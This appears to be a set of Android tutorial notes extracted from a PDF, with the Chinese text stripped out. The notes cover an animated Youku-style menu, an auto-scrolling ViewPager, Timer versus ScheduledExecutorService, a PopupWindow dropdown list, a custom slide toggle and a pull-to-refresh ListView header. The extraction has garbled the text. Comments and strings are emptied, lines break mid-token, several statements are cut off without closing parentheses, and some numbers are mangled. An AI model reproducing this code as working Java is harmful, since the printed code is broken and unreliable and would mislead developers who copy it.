								<!--	channel4	-->
								<ImageButton
												android:layout_width="wrap_content"
												android:layout_height="wrap_content"
												android:layout_alignParentTop="true"
												android:layout_centerHorizontal="true"
												android:layout_marginTop="10dp"
												android:background="@drawable/channel4"	>
								</ImageButton>
								<!--	channel5	-->
								<ImageButton
												android:layout_width="wrap_content"
												android:layout_height="wrap_content"
												android:layout_above="@id/ib_channel6"
												android:layout_marginBottom="20dp"
												android:layout_marginRight="10dp"
												android:layout_toLeftOf="@id/ib_channel6"
												android:background="@drawable/channel5"	>
								</ImageButton>
								<!--	channel6	-->
								<ImageButton
												android:id="@+id/ib_channel6"
												android:layout_width="wrap_content"
												android:layout_height="wrap_content"
												android:layout_above="@id/ib_channel7"
												android:layout_alignParentRight="true"
												android:layout_marginBottom="20dp"
												android:layout_marginRight="35dp"
												android:background="@drawable/channel6"	>
								</ImageButton>
								<!--	channel7	-->
								<ImageButton
												android:id="@+id/ib_channel7"
												android:layout_width="wrap_content"
												android:layout_height="wrap_content"
												android:layout_alignParentBottom="true"
												android:layout_alignParentRight="true"
												android:layout_marginBottom="10dp"
												android:layout_marginRight="12dp"
												android:background="@drawable/channel7"	>
								</ImageButton>
				</RelativeLayout>



</RelativeLayout>		
ImageButton:srcbackground
5
package	com.youku.youkumenu;
import	android.app.Activity;
import	android.os.Bundle;
import	android.view.View;
import	android.view.View.OnClickListener;
import	android.view.ViewGroup;
import	android.view.animation.Animation;
import	android.view.animation.Animation.AnimationListener;
import	android.view.animation.AnimationUtils;
import	android.widget.ImageButton;
import	android.widget.RelativeLayout;
public	class	YoukuActivity	extends	Activity	implements	OnClickListener	{

				private	ImageButton	ib_home;
				private	ImageButton	ib_menu;

				private	boolean	is_level3_on;//	3level
				private	boolean	b_level2_flag	=	true;//	level,,true:out	false:in
				private	boolean	b_level3_flag	=	false;//	level,,true:out	false:in

				private	RelativeLayout	rl_level3;

				@Override
				protected	void	onCreate(Bundle	savedInstanceState)	{
								super.onCreate(savedInstanceState);

								this.setContentView(R.layout.activity_youku);

								rl_level3	=	(RelativeLayout)	this.findViewById(R.id.rl_level3);

								ib_home	=	(ImageButton)	this.findViewById(R.id.ib_home);
								ib_menu	=	(ImageButton)	this.findViewById(R.id.ib_menu);

								ib_home.setOnClickListener(this);
								ib_menu.setOnClickListener(this);
				}
				@Override
				public	void	onClick(View	v)	{
								switch	(v.getId())	{



								case	R.id.ib_home:

												RelativeLayout	rl_level2	=	(RelativeLayout)	this.findViewById(R.id.rl_level2);

												if	(b_level2_flag)	{//	level,in
																startMyAnimation(rl_level2,	R.anim.rl_level2_in,	true,R.id.ib_home,0);
																b_level2_flag	=	false;
																rl_level2.setVisibility(View.VISIBLE);
																//	is_level2_on	=	true;
												}	else	{//	levelout
																if	(is_level3_on)	{//	level
																				startMyAnimation(rl_level3,R.anim.rl_level3_out,	false,	R.id.ib_home,	0);
																				b_level3_flag	=	false;
																				is_level3_on	=	false;
																}
																startMyAnimation(rl_level2,	R.anim.rl_level2_out,	false,R.id.ib_home,300);
																b_level2_flag	=	true;
																rl_level2.setVisibility(View.INVISIBLE);
																//	is_level2_on	=	false;
												}
												break;

								case	R.id.ib_menu:

												rl_level3	=	(RelativeLayout)	this.findViewById(R.id.rl_level3);
												if	(b_level3_flag)	{//	trueout
																rl_level3.setVisibility(View.VISIBLE);
																startMyAnimation(rl_level3,	R.anim.rl_level3_out,	false,R.id.ib_menu,0);
																b_level3_flag	=	false;
																is_level3_on	=	false;//	level
												}	else	{//	falsein
																startMyAnimation(rl_level3,	R.anim.rl_level3_in,	true,R.id.ib_menu,0);
																b_level3_flag	=	true;
																is_level3_on	=	true;//	level
																rl_level3.setVisibility(View.INVISIBLE);
												}
												/*if	(is_level3_on)	{//	levelhome
																ib_home.setClickable(false);
																ib_home.setFocusable(false);
												}	else	{
																ib_home.setClickable(true);



																ib_home.setFocusable(true);
												}*/
												//	Toast.makeText(this,	"is_level3_on:"	+	is_level3_on,	0).show();
												break;
								}
				}
	
				/**
					*	
					*	@param	viewGroup	view
					*	@param	animId	 xml
					*	@param	isIn	
					*	@param	ResId	
					*	@param	startOffset	long
					*/
				public	void	startMyAnimation(ViewGroup	viewGroup,	int	animId,	boolean	isIn,
												final	int	ResId,	long	startOffset)	{
								//	1viewGroup
								Animation	animation	=	AnimationUtils.loadAnimation(this,	animId);
								animation.setAnimationListener(new	AnimationListener()	{
												
												View	view	=	findViewById(ResId);//	
												@Override
												public	void	onAnimationStart(Animation	animation)	{
																view.setClickable(false);
																view.setFocusable(false);
												}
												@Override
												public	void	onAnimationRepeat(Animation	animation)	{
												}
												@Override
												public	void	onAnimationEnd(Animation	animation)	{
																view.setClickable(true);
																view.setFocusable(true);
												}
								});
								animation.setStartOffset(startOffset);//	
								viewGroup.startAnimation(animation);
								//	2viewGroup
								int	childCount	=	viewGroup.getChildCount();
								for	(int	i	=	0;	i	<	childCount;	i++)	{
												viewGroup.getChildAt(i).setClickable(isIn);



												viewGroup.getChildAt(i).setFocusable(isIn);
								}
				}
}

R.java	,	id



ViewPager

1UI
2Timer ScheduledExecutorService
3Handler+MessagerunOnUiThread(runnable)ui
4ViewPager

1
2intString
3ImageViewArrayList
4viewpager
5	 onPageSelected

a)ScheduledExecutorServiceTimer
bhandler+Message
Activity(onStart)(onStop)
item1
@Override
protected	void	onStart()	{
				super.onStart();
				scheduledExecutorService	=	Executors.newScheduledThreadPool(imageIds.length);
				Runnable	command	=	new	Runnable()	{
								
								@Override
								public	void	run()	{
												runOnUiThread(new	Runnable()	{
																@Override
																public	void	run()	{
																				//	1page
																				currentItem	=	(currentItem	+	1)	%	imageIds.length;
																				viewPager.setCurrentItem(currentItem);
																}
												});
								}
				};
				scheduledExecutorService.scheduleWithFixedDelay(command	,	2,	2,	TimeUnit.SECONDS



}
@Override
protected	void	onStop()	{
				super.onStop();
				if	(scheduledExecutorService	!=	null)	{
								scheduledExecutorService.shutdown();
				}
}

package	cn.zengfansheng.viewpager;

	

import	java.util.ArrayList;

import	java.util.List;

import	java.util.concurrent.Executors;

import	java.util.concurrent.ScheduledExecutorService;

import	java.util.concurrent.TimeUnit;

	

import	android.app.Activity;

import	android.os.Bundle;

import	android.support.v4.view.PagerAdapter;

import	android.support.v4.view.ViewPager;

import	android.support.v4.view.ViewPager.OnPageChangeListener;

import	android.view.View;

import	android.view.ViewGroup;

import	android.widget.ImageView;

import	android.widget.TextView;

	

public	class	MainActivity	extends	Activity	{

	

				private	int	imageIds[];

				private	String	descs[];

	

				private	List<ImageView>	images;

				private	List<View>	dots;

	

				private	ViewPager	viewPager;

				private	PagerAdapter	pagerAdapter;

	

				private	TextView	tv_desc;//	

	

				private	int	oldPosition	=	0;//	

				private	int	currentItem;//	page

	

				private	ScheduledExecutorService	scheduledExecutorService;

	

				@Override

				protected	void	onCreate(Bundle	savedInstanceState)	{

								super.onCreate(savedInstanceState);

								setContentView(R.layout.activity_main);

	

								//	1id

								imageIds	=	new	int[]	{



												R.drawable.a,

												R.drawable.b,

												R.drawable.c,

												R.drawable.d,

												R.drawable.e

								};

	

								//	2

								descs	=	new	String[]	{

												"" ,			

												"" ,			

												"" ,			

												"TV" ,			

												""

								};

	

								//	3ImageView

								images	=	new	ArrayList<ImageView>();

								for	(int	imageId	:	imageIds)	{

												ImageView	iv	=	new	ImageView(this);

												iv.setImageResource(imageId);

												images.add(iv);

								}

								//	4dot

								dots	=	new	ArrayList<View>();

								dots.add(this.findViewById(R.id.dt1));

								dots.add(this.findViewById(R.id.dt2));

								dots.add(this.findViewById(R.id.dt3));

								dots.add(this.findViewById(R.id.dt4));

								dots.add(this.findViewById(R.id.dt5));

	

								//	----------------------

	

								tv_desc	=	(TextView)	this.findViewById(R.id.tv_desc);

								tv_desc.setText(descs[0]);

	

								viewPager	=	(ViewPager)	this.findViewById(R.id.view_pager);

								pagerAdapter	=	new	MyPagerAdapter();

								viewPager.setAdapter(pagerAdapter);

								//	viewPager.setCurrentItem(oldPosition);//item

	

								//	viewPagerpage

								viewPager.setOnPageChangeListener(new	OnPageChangeListener()	{

	

												//	page,page0

												@Override

												public	void	onPageSelected(int	position)	{

																//	System.out.println("onPageSelected"	+	i);

	

																//	title

																tv_desc.setText(descs[position]);

	

																//	dot,normal,enabled

																dots.get(oldPosition).setBackgroundResource(R.drawable.dot_normal);

																dots.get(position).setBackgroundResource(R.drawable.dot_enable);



	

																//	

																oldPosition	=	position;

																currentItem	=	position;

												}

	

												//	page

												@Override

												public	void	onPageScrolled(int	i,	float	f,	int	j)	{

																//	System.out.println("onPageScrolled:");

												}

	

												//	page1-2-0

												@Override

												public	void	onPageScrollStateChanged(int	i)	{

																//	System.out.println("onPageScrollStateChanged:"	+	i);

												}

								});

				}

	

				//pageadapter

				private	class	MyPagerAdapter	extends	PagerAdapter	{

	

								/**

									*	viewpager

									*/

								@Override

								public	int	getCount()	{

												return	imageIds.length;

								}

	

								//	view

								/**

									*		true		false	instantiateItem()	

									*/

								@Override

								public	boolean	isViewFromObject(View	view,	Object	object)	{

												return	view	==	object;

								}

	

								/**

									*	ImageView

									*/

								@Override

								public	void	destroyItem(ViewGroup	container,	int	position,	Object	object)	{

												//	super.destroyItem(container,	position,	object);//

	

												//	View	view	=	container.getChildAt(position);

												//	container.removeView(view);

	

												//	container.removeViewAt(position);

	

												container.removeView(images.get(position));

								}

	



								/**

									*	ObjectImageView

									*/

								@Override

								public	Object	instantiateItem(ViewGroup	container,	int	position)	{

												container.addView(images.get(position));

												return	images.get(position);

								}

				}

	

				@Override

				protected	void	onStart()	{

								super.onStart();

								scheduledExecutorService	=	Executors.newScheduledThreadPool(imageIds.length);

								Runnable	command	=	new	Runnable()	{

	

												@Override

												public	void	run()	{

																runOnUiThread(new	Runnable()	{

	

																				@Override

																				public	void	run()	{

																								//	1page

																								currentItem	=	(currentItem	+	1)	%	imageIds.length;

																								viewPager.setCurrentItem(currentItem);

																				}

																});

												}

								};

								scheduledExecutorService.scheduleWithFixedDelay(command	,	2,	2,	TimeUnit.SECONDS);

				}

	

				@Override

				protected	void	onStop()	{

								super.onStop();

								if	(scheduledExecutorService	!=	null)	{

												scheduledExecutorService.shutdown();

								}

				}

}



	

	

12-01	16:11:29.922:	E/AndroidRuntime(2966):					at
cn.zengfansheng.viewpager.MainActivity$MyPagerAdapter.destroyItem(MainActivity.java:84)



TimerScheduledExecutorService
java.util.Timer("1000ms")("500ms")Timer
ScheduledThreadPoolExecutor,Timer,;ScheduledThreadExecutor
				TimerTimerTaskTimerTimerTimerTasktimerTimer;
TimerTimerTask
Timer
	
Java	 		
1.	 package	com.bill99.test;		
2.	 		
3.	 import	java.util.Timer;		
4.	 import	java.util.TimerTask;		
5.	 		
6.	 public	class	TimerTest	{		
7.	 				private	Timer	timer	=	new	Timer();		
8.	 				//		
9.	 				public	void	lanuchTimer(){		

10.	 								timer.schedule(new	TimerTask(){		
11.	 												public	void	run()	{		
12.	 																throw	new	RuntimeException();		
13.	 												}		
14.	 								},	1000*3,	500);		
15.	 				}		
16.	 				//		
17.	 				public	void	addOneTask(){		
18.	 								timer.schedule(new	TimerTask(){		
19.	 												public	void	run(){		
20.	 																System.out.println("hello	world");		
21.	 												}		
22.	 								},	1000*1,1000*5);		
23.	 				}		
24.	 						
25.	 				public	static	void	main(String[]	args)	throws	Excepti

on	{		
26.	 								TimerTest	test	=	new	TimerTest();		
27.	 								test.lanuchTimer();		
28.	 								Thread.sleep(1000*5);//5		
29.	 								test.addOneTask();		
30.	 				}		
31.	 }		



	Timer RumtimeException	 java.lang.IllegalStateException:Timer	already
cancelled.
TimerTimerTask5" Timer	already	cancelled	"
ScheduledThreadPoolExectorjava5.0JDKTimerTimer

	
	
ScheduledThreadPoolExector
	
Java	 		
1.	 package	com.bill99.test;		
2.	 		
3.	 import	java.util.concurrent.Executors;		
4.	 import	java.util.concurrent.ScheduledExecutorService;		
5.	 import	java.util.concurrent.TimeUnit;		
6.	 		
7.	 public	class	ScheduledExecutorTest	{		
8.	 				//int 		
9.	 				// 		

10.	 				public	ScheduledExecutorService	scheduExec	=	Executor
s.newScheduledThreadPool(1);		

11.	 				//		
12.	 				public	void	lanuchTimer(){		



13.	 								Runnable	task	=	new	Runnable()	{		
14.	 												public	void	run()	{		
15.	 																throw	new	RuntimeException();		
16.	 												}		
17.	 								};		
18.	 								scheduExec.scheduleWithFixedDelay(task,	1000*5,	

000*10,	TimeUnit.MILLISECONDS);		
19.	 				}		
20.	 				//		
21.	 				public	void	addOneTask(){		
22.	 								Runnable	task	=	new	Runnable()	{		
23.	 												public	void	run()	{		
24.	 																System.out.println("welcome	to	china");		
25.	 												}		
26.	 								};		
27.	 								scheduExec.scheduleWithFixedDelay(task,	1000*1,	

000,	TimeUnit.MILLISECONDS);		
28.	 				}		
29.	 						
30.	 				public	static	void	main(String[]	args)	throws	Excepti

on	{		
31.	 								ScheduledExecutorTest	test	=	new	ScheduledExecuto

rTest();		
32.	 								test.lanuchTimer();		
33.	 								Thread.sleep(1000*5);//5		
34.	 								test.addOneTask();		
35.	 				}		
36.	 }		
ScheduleExecutorTimer
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PopupWindow+ListView

popupwindowshowAtLocationshowAsDropDown



	
1
a)	activity_main.xml
<RelativeLayout	xmlns:android="http://schemas.android.com/apk/res/android"
				android:id="@+id/rl"
				android:layout_width="match_parent"
				android:layout_height="match_parent"	>
				<EditText
								android:id="@+id/et_number"
								android:layout_width="wrap_content"
								android:layout_height="50dp"
								android:layout_alignParentTop="true"
								android:layout_centerHorizontal="true"
								android:layout_marginTop="15dp"
								android:ems="12"
								android:hint=""
								android:inputType="number"	>
								<requestFocus	/>
				</EditText>
				<Button
								android:id="@+id/bt"
								android:layout_width="40dp"



								android:layout_height="match_parent"
								android:layout_alignBottom="@id/et_number"
								android:layout_alignRight="@id/et_number"
								android:layout_alignTop="@id/et_number"
								android:background="@drawable/button"
								android:gravity="center"	/>
</RelativeLayout>		
b)	qq_list_item.xml
<?xml	version="1.0"	encoding="utf-8"?>
<LinearLayout	xmlns:android="http://schemas.android.com/apk/res/android"
				android:layout_width="match_parent"
				android:layout_height="wrap_content"
				android:gravity="center_vertical"
				android:orientation="vertical"	>
				<LinearLayout
								android:layout_width="match_parent"
								android:layout_height="wrap_content"
								android:orientation="horizontal"	>
								<ImageView
												android:id="@+id/iv_user_header"
												android:layout_width="wrap_content"
												android:layout_height="wrap_content"
												android:layout_gravity="center_vertical"
												android:layout_marginLeft="10dp"
												android:clickable="false"
												android:focusable="false"
												android:src="@drawable/user"	/>
								<TextView
												android:id="@+id/tv_qq_number"
												android:layout_width="match_parent"
												android:layout_height="match_parent"
												android:layout_gravity="center_vertical"
												android:layout_weight="10"
												android:gravity="center"
												android:text="qq" 	/>
								<ImageButton
												android:id="@+id/ib_delete"
												android:layout_width="50dp"
												android:layout_height="50dp"
												android:layout_gravity="center_vertical"
												android:layout_marginRight="10dp"
												android:layout_weight="1"



												android:background="@drawable/delete"	/>
								<!--	android:src="@drawable/delete"src	-->
				</LinearLayout>
				<View
								android:layout_width="match_parent"
								android:layout_height="1dp"
								android:layout_marginLeft="10dp"
								android:layout_marginRight="10dp"
								android:background="#33000000"	/>
</LinearLayout>
2
package	cn.zengfansheng.pulldownMenu;

	

import	java.util.ArrayList;

import	java.util.Random;

	

import	android.app.Activity;

import	android.graphics.Color;

import	android.graphics.drawable.ColorDrawable;

import	android.os.Bundle;

import	android.view.LayoutInflater;

import	android.view.View;

import	android.view.View.OnClickListener;

import	android.view.ViewGroup;

import	android.view.ViewGroup.LayoutParams;

import	android.widget.BaseAdapter;

import	android.widget.Button;

import	android.widget.EditText;

import	android.widget.ImageButton;

import	android.widget.LinearLayout;

import	android.widget.ListView;

import	android.widget.PopupWindow;

import	android.widget.TextView;

	

public	class	MainActivity	extends	Activity	implements	OnClickListener	{

	

				private	EditText	et_number;

				private	Button	bt;

	

				private	MyAdapter	adapter;//	

	

				private	ArrayList<Integer>	qqList;//	qq

				private	PopupWindow	popupWindow;

	

				@Override

				protected	void	onCreate(Bundle	savedInstanceState)	{

								super.onCreate(savedInstanceState);

								setContentView(R.layout.activity_main);

	

								et_number	=	(EditText)	this.findViewById(R.id.et_number);

								bt	=	(Button)	this.findViewById(R.id.bt);

	



								bt.setOnClickListener(this);

	

								//	et_number0

								//	int	et_height	=	et_number.getHeight();

								//	System.out.println(et_height);

	

								qqList	=	new	ArrayList<Integer>();

								for	(int	i	=	0;	i	<	20;	i++)	{

												Random	random	=	new	Random();

												int	nextInt	=	random.nextInt(89999);

												qqList.add(10000	+	nextInt);

								}

				}

	

				@Override

				public	void	onClick(View	v)	{

	

								if	(popupWindow==null)	{

	

												//	PopupWindow

												//PopupWindow	popupWindow	=	new	PopupWindow(contentView,	width,

height,	focusable)

	

												//	1newPopupWindow

												ListView	contentView	=	new	ListView(getApplicationContext());

												contentView.setCacheColorHint(0x00000000);

												if	(adapter	==	null)	{

																adapter	=	new	MyAdapter();

												}

												contentView.setAdapter(adapter);

	

												popupWindow	=	new	PopupWindow(contentView	,et_number.getWidth(),

LayoutParams.WRAP_CONTENT,	true);

	

												//	2PopupWindow

												popupWindow.setBackgroundDrawable(new

ColorDrawable(Color.TRANSPARENT));

	

												//	3PopupWindow

												//	3-1

												//int	gravity1	=	Gravity.NO_GRAVITY;//Gravity.LEFT	|	Gravity.TOP

												//int	gravity	=	Gravity.LEFT	+	Gravity.TOP;//	51

	

												//	3-20x1y

												//int[]	location	=	new	int[2];

												//et_number.getLocationInWindow(location);

												//int	et_height	=	et_number.getHeight();

												//	LayoutParams	params	=	et_number.getLayoutParams();

												//	int	height	=	params.height;

	

												//	3-3

												//	ViewParent	parent	=	bt.getParent();

												//View	parent	=	this.findViewById(R.id.rl);

								}

								//popupWindow.showAtLocation(parent,	gravity,	location[0],



et_height+location[1]);

								popupWindow.showAsDropDown(et_number,	0,	0);

				}

				private	class	MyAdapter	extends	BaseAdapter{

	

								@Override

								public	int	getCount()	{

												if	(qqList	!=	null)	{

																return	qqList.size();

												}

												return	0;

								}

								@Override

								public	Object	getItem(int	position)	{

												return	null;

								}

								@Override

								public	long	getItemId(int	position)	{

												return	0;

								}

								@Override

								public	View	getView(final	int	position,	View	convertView,	ViewGroup

parent)	{

	

												LayoutInflater	inflater	=

LayoutInflater.from(getApplicationContext());

												View	view	=	null;

												ViewHolder	viewHolder	=	null;

												if	(convertView	!=	null	&&	convertView	instanceof	LinearLayout)

{

																view	=	convertView;

																viewHolder	=	(ViewHolder)	view.getTag();

												}	else	{

	

																view	=	inflater.inflate(R.layout.qq_list_item,	null);

	

																viewHolder	=	new	ViewHolder();

																//viewHolder.iv_header	=	(ImageView)

view.findViewById(R.id.iv_user_header);

																viewHolder.tv_number	=	(TextView)

view.findViewById(R.id.tv_qq_number);

																viewHolder.tv_number.setOnClickListener(new

OnClickListener()	{

	

																				@Override

																				public	void	onClick(View	v)	{

																								int	qqnumber	=	qqList.get(position);

																								et_number.setText(String.valueOf(qqnumber));

																								popupWindow.dismiss();

																				}

																});

	

																viewHolder.ib_delete	=	(ImageButton)

view.findViewById(R.id.ib_delete);

																viewHolder.ib_delete.setOnClickListener(new



OnClickListener()	{

	

																				@Override

																				public	void	onClick(View	v)	{

																								//	

																								qqList.remove(position);

																								adapter.notifyDataSetChanged();

																				}

																});

	

																view.setTag(viewHolder);

												}

	

												int	qq	=	qqList.get(position);

												viewHolder.tv_number.setText(""	+	qq);

												return	view;

								}

				}

				private	static	class	ViewHolder	{

								//private	ImageView	iv_header;

								private	TextView	tv_number;

								private	ImageButton	ib_delete;

				}

}



	
	

	
PopupWindow
View	parent	=	View.inflate(getApplicationContext(),	R.layout.qq_list_item,	null);		
popupWindow.showAtLocation(parent,	gravity,	location[0],	et_height+location[1]);	

View	parent	=	this.findViewById(R.id.rl);

ViewParent	parent	=	bt.getParent();ViewViewParent
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4
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OnToggleStatusListener	 	abstract	void	onToggleStatus(boolean	status)
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a)	ACTION_DOWN	
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	 isSlipping			
b)	ACTION_MOVE			
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false
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a)
<RelativeLayout	xmlns:android="http://schemas.android.com/apk/res/android"
				android:layout_width="match_parent"
				android:layout_height="match_parent"	>
				<cn.zengfansheng.sliptoggle.SlipToggle
								android:id="@+id/toggle"
								android:layout_width="wrap_content"
								android:layout_height="wrap_content"



								android:layout_centerInParent="true"	>
				</cn.zengfansheng.sliptoggle.SlipToggle>
</RelativeLayout>		
b)1:
package	cn.zengfansheng.sliptoggle;
import	android.app.Activity;
import	android.os.Bundle;
import	android.widget.Toast;
import	cn.zengfansheng.sliptoggle.SlipToggle.OnToggleStatusListener;
public	class	MainActivity	extends	Activity	{
				private	SlipToggle	toggle;
				@Override
				protected	void	onCreate(Bundle	savedInstanceState)	{
								super.onCreate(savedInstanceState);
								setContentView(R.layout.activity_main);
								toggle	=	(SlipToggle)	this.findViewById(R.id.toggle);
								
								//
								toggle.setBkgRes(R.drawable.bkg_switch,	R.drawable.bkg_switch,	R.drawable.btn_slip
								
								//	true
								toggle.setToggleState(false);
								//	
								toggle.setOnToggleStatusListener(new	OnToggleStatusListener()	{
												@Override
												public	void	onToggleStatus(boolean	toggleState)	{
																if	(toggleState)	{
																				Toast.makeText(getApplicationContext(),	"" ,	0).show();
																}else	{
																				Toast.makeText(getApplicationContext(),	"" ,	0).show();
																}
												}
								});
				}
}
c-
package	cn.zengfansheng.sliptoggle;
import	android.content.Context;
import	android.graphics.Bitmap;
import	android.graphics.BitmapFactory;
import	android.graphics.Canvas;
import	android.graphics.Matrix;



import	android.graphics.Rect;
import	android.util.AttributeSet;
import	android.view.MotionEvent;
import	android.view.View;
import	android.view.View.OnTouchListener;
/**
	*	
	*	
	*	@author	hacket
	*/
public	class	SlipToggle	extends	View	implements	OnTouchListener	{
				private	Bitmap	bkg_btnSlip;
				private	Bitmap	bkg_switchOn;
				private	Bitmap	bkg_switchOff;
				private	Rect	btnSlip_switch_on;//	
				private	Rect	btnSlip_switch_off;//	
				
				private	boolean	isToggleStateOn;//	
				
				private	OnToggleStatusListener	toggleStatusListener;//	
				private	boolean	isToggleStatusListenerOn;//	
				private	float	slipBtnCurrentX;//	
				private	boolean	isSlipping;//	
				private	boolean	proToggleState;//	false
				//	TODO	1View
				public	SlipToggle(Context	context)	{
								super(context);
								init();
				}
				public	SlipToggle(Context	context,	AttributeSet	attrs)	{
								super(context,	attrs);
								init();
				}
				//	TODO	5,
				public	void	init()	{
								setOnTouchListener(this);
				}
				//	6onTouch
				@Override
				public	boolean	onTouch(View	v,	MotionEvent	event)	{
								switch	(event.getAction())	{
								case	MotionEvent.ACTION_DOWN://	



												slipBtnCurrentX	=	event.getX();//	
												isSlipping	=	true;//	
												break;
								case	MotionEvent.ACTION_MOVE://	
												
												slipBtnCurrentX	=	event.getX();
												
												break;
								case	MotionEvent.ACTION_UP://	
												//
												isSlipping	=	false;
												//	
												if	(slipBtnCurrentX	<	bkg_switchOn.getWidth()	/	2)	{//	
																isToggleStateOn	=	false;
												}	else	{
																isToggleStateOn	=	true;
												}
												
												//	
												if	(isToggleStatusListenerOn	&&	isToggleStateOn	!=	proToggleState)	{
																proToggleState	=	isToggleStateOn;//	
																toggleStatusListener.onToggleStatus(isToggleStateOn);
												}
												break;
								}
								invalidate();
								return	true;
				}
				//	TODO	7
				@Override
				protected	void	onMeasure(int	widthMeasureSpec,	int	heightMeasureSpec)	{
								//	super.onMeasure(bkg_switchOn.getWidth(),	bkg_switchOn.getHeight());
								setMeasuredDimension(bkg_switchOn.getWidth(),	bkg_switchOn.getHeight());
								//	FIXME	onMeasure( int,int)
				}
				//	TODO	8
				@Override
				protected	void	onDraw(Canvas	canvas)	{
								super.onDraw(canvas);
								//	8-1
								if	(isToggleStateOn)	{//	a)
												canvas.drawBitmap(bkg_switchOn,	new	Matrix(),	null);



								}	else	{//	b)
												canvas.drawBitmap(bkg_switchOff,	new	Matrix(),	null);
								}
								//	8-2
								float	left_slip	=	0;//	
								if	(isSlipping)	{//	FIXME		a),
												left_slip	=	slipBtnCurrentX	-	bkg_btnSlip.getWidth()	/	2;
								}	else	{//	b)
												if	(isToggleStateOn)	{//	
																left_slip	=	bkg_switchOn.getWidth()	-	bkg_btnSlip.getWidth();
												}	else	{//	
																left_slip	=	0;
												}
								}
								//	c)
								if	(left_slip<0)	{//
												left_slip	=	0;
								}else	if(left_slip>(bkg_switchOn.getWidth()-bkg_btnSlip.getWidth())){//
												left_slip	=	bkg_switchOn.getWidth()	-	bkg_btnSlip.getWidth();
								}
								
								//	d)
								canvas.drawBitmap(bkg_btnSlip,	left_slip,	0,	null);
				}
				//	TODO	2
				public	void	setBkgRes(int	bkgSwitchOn,	int	bkgSwitchOff,	int	bkgBtnSlip)	{
								
									bkg_btnSlip	=	BitmapFactory.decodeResource(getResources(),	R.drawable.btn_slip);
									bkg_switchOn	=	BitmapFactory.decodeResource(getResources(),	R.drawable.bkg_switch
									bkg_switchOff	=	BitmapFactory.decodeResource(getResources(),	R.drawable.bkg_switch
								
								//	1
								btnSlip_switch_on	=	new	Rect(bkg_switchOn.getWidth()-bkg_btnSlip.getWidth(),0,bkg_switchOn
								//	2
								btnSlip_switch_off	=	new	Rect(0,0,bkg_btnSlip.getWidth(),bkg_switchOn.getHeight());
				}
				
				//TODO	3
				public	void	setToggleState(boolean	toggleStatus){
								isToggleStateOn	=	toggleStatus;
				}
				



				public	interface	OnToggleStatusListener	{
								/**
									*	
									*	@param	toggleState	
									*/
								public	abstract	void	onToggleStatus(boolean	toggleState);
				}
				//	TODO	4
				public	void	setOnToggleStatusListener(OnToggleStatusListener	listener)	{
								toggleStatusListener	=	listener;
								isToggleStatusListenerOn	=	true;
				}
}

wiz:open_attachment?guid=8f5974fe-64c6-49ad-8125-c8ecc0960a54
wiz:open_attachment?guid=de8006e6-d2c9-48ae-afbf-841f785c1021


1RefreshListViewListView
2ListView
2
3ListViewaddHeaderListView()ListView
4paddingTop

0-1	
android:visibility="gone"	
0-2ProgressBar
android:indeterminateDrawable="@drawable/custom_progressbar"
1ListView
addHeaderView(viewHeader);
2ListView
/**
		*	2head
		*	item,ListView
		*	Measure	a	particular	list	child.
		*	TODO:	unify	with	setUpChild.
		*	@param	viewHeader	The	child.
		*/
private	void	measureHeader(View	viewHeader)	{
				ViewGroup.LayoutParams	lp	=	viewHeader.getLayoutParams();
				if	(lp	==	null)	{
								lp	=	new	ViewGroup.LayoutParams(
																ViewGroup.LayoutParams.MATCH_PARENT,
																ViewGroup.LayoutParams.WRAP_CONTENT);
				}
				int	childWidthSpec	=	ViewGroup.getChildMeasureSpec(0,	0,	lp.width);//	
				int	lpHeight	=	lp.height;
				int	childHeightSpec;
				if	(lpHeight	>	0)	{
								childHeightSpec	=	MeasureSpec.makeMeasureSpec(lpHeight,	MeasureSpec.EXACTLY
				}	else	{
								childHeightSpec	=	MeasureSpec.makeMeasureSpec(0,	MeasureSpec.UNSPECIFIED
				}
				viewHeader.measure(childWidthSpec,	childHeightSpec);
}

3getMeasuredHeight()getHeight()



viewHeader.getMeasuredHeight();//

package	cn.zengfansheng.refreshListview;
import	android.content.Context;
import	android.util.AttributeSet;
import	android.view.View;
import	android.view.ViewGroup;
import	android.widget.ImageView;
import	android.widget.ListView;
import	android.widget.ProgressBar;
import	android.widget.TextView;
public	class	RefreshListView	extends	ListView	{
				public	RefreshListView(Context	context,	AttributeSet	attrs)	{
								super(context,	attrs);
								initHeader();//	
				}
				public	RefreshListView(Context	context)	{
								super(context);
								initHeader();//	
				}
				/**
					*	1
					*/
				public	void	initHeader()	{
								View	viewHeader	=	View.inflate(getContext(),	R.layout.listview_head,	null);
								ImageView	iv_arrow	=	(ImageView)	viewHeader.findViewById(R.id.iv_arrow);
								ProgressBar	pb	=	(ProgressBar)	viewHeader.findViewById(R.id.pb);
								TextView	tv_refresh	=	(TextView)	viewHeader.findViewById(R.id.tv_refresh_status);
								TextView	tv_last_update	=	(TextView)	viewHeader.findViewById(R.id.tv_last_update_time
								System.out.println("getHeight()viewHeader" +viewHeader.getHeight());//0
								
								//	ListViewitem
								//	viewHeader
								measureHeader(viewHeader);
								
								System.out.println("getHeight()viewHeader" +viewHeader.getHeight());//0
								
								int	viewHeaderMeasuredHeight	=	viewHeader.getMeasuredHeight();//
								System.out.println("getMeasuredHeight()viewHeader
" +viewHeaderMeasuredHeight);//59
								
								//	headpaddingTop



								//viewHeader.setPadding(0,	-viewHeaderMeasuredHeight	/	2,	0,	0);//viewHeader
								viewHeader.setPadding(0,	-viewHeaderMeasuredHeight,	0,	0);//	
								addHeaderView(viewHeader);
				}
					/**
						*	2head
						*	item,ListView
						*	Measure	a	particular	list	child.
						*	TODO:	unify	with	setUpChild.
						*	@param	viewHeader	The	child.
						*/
				private	void	measureHeader(View	viewHeader)	{
								ViewGroup.LayoutParams	lp	=	viewHeader.getLayoutParams();
								if	(lp	==	null)	{
												lp	=	new	ViewGroup.LayoutParams(
																				ViewGroup.LayoutParams.MATCH_PARENT,
																				ViewGroup.LayoutParams.WRAP_CONTENT);
								}
								int	childWidthSpec	=	ViewGroup.getChildMeasureSpec(0,	0,	lp.width);//	
								int	lpHeight	=	lp.height;
								int	childHeightSpec;
								if	(lpHeight	>	0)	{
												childHeightSpec	=	MeasureSpec.makeMeasureSpec(lpHeight,	MeasureSpec.EXACTLY
								}	else	{
												childHeightSpec	=	MeasureSpec.makeMeasureSpec(0,	MeasureSpec.UNSPECIFIED
								}
								viewHeader.measure(childWidthSpec,	childHeightSpec);
				}
}

1
<ProgressBar
				android:id="@+id/pb"
				android:layout_width="wrap_content"
				android:layout_height="wrap_content"
				android:indeterminateDrawable="@drawable/custom_progressbar"	/>

custom_progressbar.xml
<?xml	version="1.0"	encoding="utf-8"?>
